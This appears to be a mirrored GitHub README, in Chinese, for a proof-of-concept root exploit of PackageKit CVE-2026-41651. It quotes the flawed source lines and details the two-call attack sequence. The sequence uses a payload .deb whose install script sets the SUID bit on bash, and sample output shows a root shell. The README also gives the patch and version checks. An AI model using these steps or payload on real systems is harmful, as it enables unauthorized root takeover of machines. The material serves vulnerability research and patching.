Vozec/CVE-2026-41651

GitHub: Vozec/CVE-2026-41651

针对 PackageKit 守护进程 CVE-2026-41651 漏洞的本地提权利用程序,利用确定性 TOCTOU 缺陷绕过 Polkit 认证获取 Root 权限。

Stars: 0 | Forks: 1

# Pack2TheRoot — CVE-2026-41651 ![平台](https://img.shields.io/badge/platform-Linux-blue) ![语言](https://img.shields.io/badge/language-C-lightgrey) ![CVSS](https://img.shields.io/badge/CVSS-8.8%20High-red) ![状态](https://img.shields.io/badge/status-patched%20in%201.3.5-green) ## 概述 | 字段 | 值 | |-------|-------| | **CVE** | CVE-2026-41651 | | **组件** | PackageKit 守护进程 (`packagekitd`) | | **受影响版本** | 1.0.2 – 1.3.4 | | **修复版本** | 1.3.5 | | **影响** | 本地权限提升 → root | | **所需权限** | 无 | | **用户交互** | 无 | | **测试环境** | Ubuntu 24.04, Debian 12 | ## 漏洞详情 `src/pk-transaction.c` 中的三个协同缺陷在 PackageKit 事务的授权和执行之间创建了一个 TOCTOU(检查时间与使用时间)窗口。 ### 缺陷 1 — 无条件标志覆盖(第 4036 行) `InstallFiles()` 将调用方提供的标志直接写入 `transaction->cached_transaction_flags`,而没有检查当前的事务状态: ``` /* save so we can run later */ transaction->cached_transaction_flags = transaction_flags; // ← BUG 1 transaction->cached_full_paths = g_strdupv (full_paths); ``` ### 缺陷 2 — 静默状态转换拒绝(第 876–881 行) `pk_transaction_set_state()` 静默地拒绝了向后状态转换,使得被破坏的标志保持不变: ``` if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN && transaction->state > state) { g_warning ("cannot set %s, as already %s", ...); return; // ← BUG 2 — returns without error, flags already overwritten } ``` ### 缺陷 3 — 延迟读取标志(第 2273–2277 行) `pk_transaction_run()` 在**调度时**读取 `cached_transaction_flags`,而不是在授权时: ``` case PK_ROLE_ENUM_INSTALL_FILES: pk_backend_install_files (transaction->backend, transaction->job, transaction->cached_transaction_flags, // ← BUG 3 transaction->cached_full_paths); break; ``` ### 附加 — SIMULATE 绕过 polkit(第 2893–2900 行) 当设置了 `PK_TRANSACTION_FLAG_SIMULATE` 时,`pk_transaction_obtain_authorization()` 会完全跳过 polkit 检查并直接转换到 `READY` 状态: ``` if (pk_bitfield_contain (transaction->cached_transaction_flags, PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) { g_debug ("No authentication required"); pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY); return TRUE; // ← no polkit, no password } ``` ## 漏洞利用流程 ``` Attacker PackageKit daemon │ │ │ CreateTransaction() │ │────────────────────────────────────►│ state = NEW │◄────────────────────────────────────│ │ │ │ InstallFiles(SIMULATE, dummy.deb) │ │────────────────────────────────────►│ SIMULATE → polkit bypassed │◄────────────────────────────────────│ state = READY │ (reply received) │ g_idle_add(run_idle_cb) ← queued │ │ │ InstallFiles(NONE, payload.deb) │ [BUG 1] overwrite flags + paths │────────────────────────────────────►│ [BUG 2] set_state(WAITING_FOR_AUTH) │◄────────────────────────────────────│ silently rejected │ (reply received) │ state stays READY │ │ │ [GLib idle fires] │ │ pk_transaction_run() │ │ [BUG 3] reads NONE + payload.deb │ │ → dpkg installs payload as root │ │ → postinst: chmod +s /bin/bash │ │ │ execv("/tmp/.suid_bash", "-p") │ │──────────────────────────────────► │ │ # whoami: root │ ``` 该攻击是**完全确定性的** —— 不需要赢得竞态条件。GLib 空闲回调仅在所有挂起的 D-Bus I/O 处理完毕后触发,因此第二个 `InstallFiles` 调用必定会在调度前覆盖标志。 ## 构建 **依赖:** GLib/GIO 开发头文件(Debian/Ubuntu 上为 `libglib2.0-dev`) ``` sudo apt install libglib2.0-dev make ``` 该漏洞利用程序**没有其他外部依赖** —— 恶意的 `.deb` 包是在运行时纯用 C 语言组装的(ar 归档 + 存储的 gzip + ustar tar)。 ## 用法 ``` ./cve-2026-41651 ``` 成功后,该漏洞利用程序会在 `/tmp/.suid_bash` 处生成一个 bash 的 SUID 副本,并立即执行它: ``` ═══════════════════════════════════════════════════ CVE-2026-41651 — PackageKit TOCTOU LPE ═══════════════════════════════════════════════════ [*] Distro type : Debian/Ubuntu (.deb) [*] Building packages (pure C)... [+] dummy : /tmp/.pk-dummy-1234.deb [+] payload : /tmp/.pk-payload-1234.deb [*] Transaction : /org/freedesktop/PackageKit/Transaction/1_daa3f4_0 [*] Step 1 : InstallFiles(SIMULATE=0x2, dummy) [*] Step 2 : InstallFiles(NONE=0x0, payload) [*] Waiting for dispatch (30 s max)... [*] Finished (exit=1, 843 ms) [+] SUCCESS — root shell via /tmp/.suid_bash -p bash-5.2# whoami root ``` ## 检测 在 PackageKit ≥ 1.3.5 上,第二次调用会被立即拒绝: ``` [-] Target is PATCHED (PackageKit >= 1.3.5) ``` 该修复在 `pk_transaction_method_call()` 中添加了单一的状态守卫,在任何操作方法被调度之前进行检查: ``` if (transaction->state != PK_TRANSACTION_STATE_NEW) { g_dbus_method_invocation_return_error (invocation, PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE, "cannot call %s on transaction %s: already in state %s", method_name, transaction->tid, pk_transaction_state_to_string (transaction->state)); return; } ``` 要检查您的系统是否存在此漏洞: ``` pkcon --version # check version systemctl status packagekit journalctl -u packagekit --since '5 min ago' ``` ## 参考 - [NVD — CVE-2026-41651](https://nvd.nist.gov/vuln/detail/CVE-2026-41651) - [GitHub 安全通告 — GHSA-f55j-vvr9-69xv](https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv) - [Telekom Security — pack2theroot](https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html) - [修复提交 — 76cfb675](https://github.com/PackageKit/PackageKit/commit/76cfb675fb31acc3ad5595d4380bfff56d2a8697) - [OSS-Security 公告](https://lists.freedesktop.org/archives/packagekit/2026-April/026513.html) ## 免责声明 此 PoC 仅用于教育目的和经授权的安全测试。
标签:CVE-2026-41651, CVSS 8.8, Debian, PackageKit, TOCTOU, Web报告查看器, 协议分析, 子域名枚举, 安全漏洞, 客户端加密, 本地提权, 权限提升, 漏洞分析, 系统安全, 网络安全, 路径探测, 逆向分析, 隐私保护